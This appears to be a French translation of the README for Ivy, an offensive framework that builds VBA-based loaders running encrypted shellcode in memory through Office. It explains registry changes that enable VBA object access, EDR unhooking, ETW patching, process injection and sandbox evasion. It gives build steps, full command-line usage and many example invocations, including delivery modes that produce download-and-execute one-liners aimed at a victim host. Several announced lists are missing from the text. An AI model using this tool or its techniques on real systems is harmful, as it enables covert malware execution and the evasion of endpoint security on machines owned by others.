
Ivy est un framework de création de payloads pour l'exécution de code source VBA (macro) arbitraire directement en mémoire. Le loader d'Ivy y parvient en utilisant un accès programmatique dans l'environnement objet VBA pour charger, déchiffrer et exécuter du shellcode.
Pour voir la dernière version d'Ivy ou soumettre un problème, référez-vous à https://github.com/Tylous/Ivy.
Si vous souhaitez en savoir plus sur les techniques utilisées dans ce framework ainsi que sur les mesures défensives pour s'en protéger, veuillez consulter l'Article.
Ivy est un framework de création de payloads pour l'exécution de code source VBA (macro) arbitraire en mémoire. Le loader d'Ivy y parvient en abusant de l'accès programmatique dans l'environnement objet VBA pour charger, déchiffrer et exécuter du shellcode. Cette technique est aussi proche que possible d'être véritablement sans fichier, car la plupart des attaques sans fichier de nos jours nécessitent un certain type de fichiers déposés sur le disque, contournant ainsi les règles standard basées sur les signatures pour détecter le code VBA. Les payloads VBA typiques ont les caractéristiques suivantes :
En s'exécutant purement en mémoire, ces caractéristiques de comportement rendent plus difficile la détection par les EDR.
Les loaders d'Ivy sont chiffrés avec le chiffrement RC4 (le chiffrement AES provoque beaucoup de gonflement et prend des siècles à déchiffrer en VBA) puis divisés en chaînes séparées, empêchant tout sandbox de reconnaître ces chaînes comme des chaînes chiffrées qui devraient être inspectées. Cela empêche également tout mécanisme de décodage de reconnaître ces payloads comme autre chose que des caractères indésirables.
Le loader d'Ivy effectue d'abord une requête de registre pour activer « Trust access to the VBA project object mode ». Cette valeur de clé de registre est stockée en mode utilisateur, ce qui permet à l'utilisateur de modifier la valeur sans nécessiter de permissions élevées. La valeur du registre est mise de zéro à 1 ; si la clé de registre n'existe pas, Ivy la créera avec une valeur de « 1 ». Avec cette valeur activée, l'accès programmatique à l'environnement objet VBA est autorisé depuis un autre processus.
Une fois cela fait, le loader génère alors un processus Excel caché et charge les chaînes chiffrées dans une fonction VBA. Cela est fait en utilisant ActiveX pour simuler les actions GUI de la même tâche. Cela aide à contourner de nombreux contrôles traditionnels en place pour surveiller l'exécution. En conséquence, la fonction de déchiffrement et le shellcode sont déplacés d'un tampon mémoire à un autre, sans jamais toucher le disque. Enfin, le loader utilise des appels de commande GUI et exécute la fonction run, qui simule l'action de cliquer sur le bouton d'exécution de macro dans le panneau GUI de VBA, démarrant la fonction de déchiffrement, suivie de l'exécution réelle du shellcode.
IMPORTANT
Le point d'extrémité cible doit avoir Microsoft Office installé et activé pour fonctionner car Ivy dépend d'un abus de l'accès programmatique à l'environnement VBA de Microsoft Office.
Cela permet à Ivy d'utiliser des appels système de bas niveau pour construire sa propre version de la fonction Windows WriteProcessMemory en référençant l'adresse mémoire directe et les valeurs des registres indirectement. Ivy peut écraser des sections de mémoire qui ne sont pas inscriptibles sans appeler aucune des fonctions API de modification mémoire. Cela est dû à une caractéristique de WriteProcessMemory qui modifie temporairement les permissions de la région mémoire en écriture (si vous avez suffisamment de privilèges, ce qui est le cas puisque nous possédons le processus). Il écrit la valeur et restaure les permissions originales sans appeler la fonction VirtualProtect, mais en appelant automatiquement le syscall associé (NtProtectVirtualMemory).
Ivy n'utilise pas sa propre version de NtWriteVirtualMemory car ce processus de modification temporaire des permissions mémoire ne se produirait pas, ce qui signifie que la protection de l'adresse mémoire spécifique ne serait pas modifiée et l'exécution échouerait. C'est une « fonctionnalité » que Microsoft a publiée pour rendre les débogueurs plus stables. Étant donné que les débogueurs veulent modifier la mémoire à la volée, ils peuvent simplement modifier une section sans avoir à effectuer plusieurs tâches. (Voir devblogs.microsoft.com pour plus d'informations)
Examinons la série d'événements qu'un EDR verrait :
Une fois que tous les hooks de l'EDR ont été supprimés, le loader effectue alors son action normale pour établir une session distante.
Ivy adresse cela en désaccrochant les DLL système communes que l'EDR accroche, cela inclut :
Lors de l'utilisation de unhook avec un type de payload Inject, le loader d'Ivy désaccrochera d'abord le processus Office en retirant l'EDR de celui-ci, puis supprimera les hooks dans le processus injecté. Cela garantit que les deux processus sont libres de hooks, empêchant toute télémétrie du processus parent et enfant d'être envoyée à l'EDR.
En utilisant la même technique pour désaccrocher, Ivy peut corriger les fonctions ETW, empêchant tout événement d'être généré par le processus. ETW utilise des syscalls intégrés pour générer cette télémétrie. Comme ETW est une fonctionnalité native de Windows, les produits de sécurité n'ont pas besoin de « hooker » les syscalls ETW pour obtenir les informations. En conséquence, pour empêcher ETW, Ivy corrige de nombreux syscalls ETW, vidant les registres et renvoyant le flux d'exécution à l'instruction suivante. La correction d'ETW est maintenant par défaut dans tous les loaders, si vous ne souhaitez pas corriger ETW, utilisez l'option de ligne de commande -noetw pour la désactiver dans votre loader.
Ivy a été développé avec Go.
La première étape comme toujours est de cloner le dépôt. Avant de compiler Ivy, vous devrez installer les dépendances. Pour les installer, exécutez les commandes suivantes :
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
Ensuite, compilez-le
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
Lors de la génération d'un loader avec Ivy, vous devez générer un payload 64 bits et 32 bits et les saisir avec les arguments de ligne de commande -Ix64 et -Ix86. Cela est dû au fait que le système d'exploitation peut être 64 bits mais la version d'Office en cours d'exécution peut en réalité être 32 bits ; en conséquence, Ivy détectera l'architecture appropriée à utiliser avant d'injecter le payload.
De plus, lors de la génération d'un loader, il existe deux types de payloads. Le premier, Inject, effectue une attaque d'injection de processus où un nouveau processus est créé dans un état suspendu et le shellcode est injecté dans le processus avant de le reprendre. Bien que l'injection de processus puisse être pratique et génère un processus non Excel, les EDR sont très habiles pour détecter l'acte de création d'un processus suspendu à injecter, ce qui peut nous faire repérer. L'option plus discrète est Local. Cela charge le shellcode directement dans le processus Office actuel. L'option Local offre également des fonctionnalités supplémentaires pour éviter la détection, en utilisant des appels directs à certains syscalls Windows. Cela est dû à l'environnement VBA qui nous permet de définir et d'appeler la fonction exacte (à condition d'avoir aligné tous les registres corrects au préalable) en fonction de la pile. Enfin, le loader d'Ivy dans ce type de payload possède un appel non documenté pour exécuter le shellcode, rendant l'exécution plus difficile à détecter.
Avec le mode Inject, Ivy créera un processus dans un état suspendu pour y injecter du shellcode. Selon qu'il s'agisse d'un système 32 bits ou 64 bits, il générera un processus différent. Ivy est livré avec quelques noms de processus par défaut à générer, mais ceux-ci peuvent être modifiés en utilisant les options process32 ou process64. Lors de la spécification du chemin, assurez-vous d'utiliser \\ pour le chemin.
Tout d'abord, VOUS DEVRIEZ TOUJOURS UTILISER l'argument -stageless. Cependant, si vous avez besoin d'exécuter un payload stagé, vous pouvez le faire en n'utilisant pas l'argument -stageless. Lorsque vous utilisez -stageless, vous pouvez utiliser du shellcode brut, mais lorsque vous choisissez d'exécuter un payload stagé, il est important que pour les types de payload Inject, le shellcode soit formaté en VBA et pour les types Local, le shellcode soit formaté en C.
L'argument de ligne de commande de livraison vous permet de générer une commande ou une chaîne de code (dans le cas de la macro) pour récupérer le fichier à distance depuis une source distante vers l'hôte de la victime. Ces méthodes de livraison incluent :
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
Actuellement, il y a un problème connu avec le désaccrochage du processus injecté à distance. Une solution de contournement actuelle est de charger le BOF unhook, pour l'instant.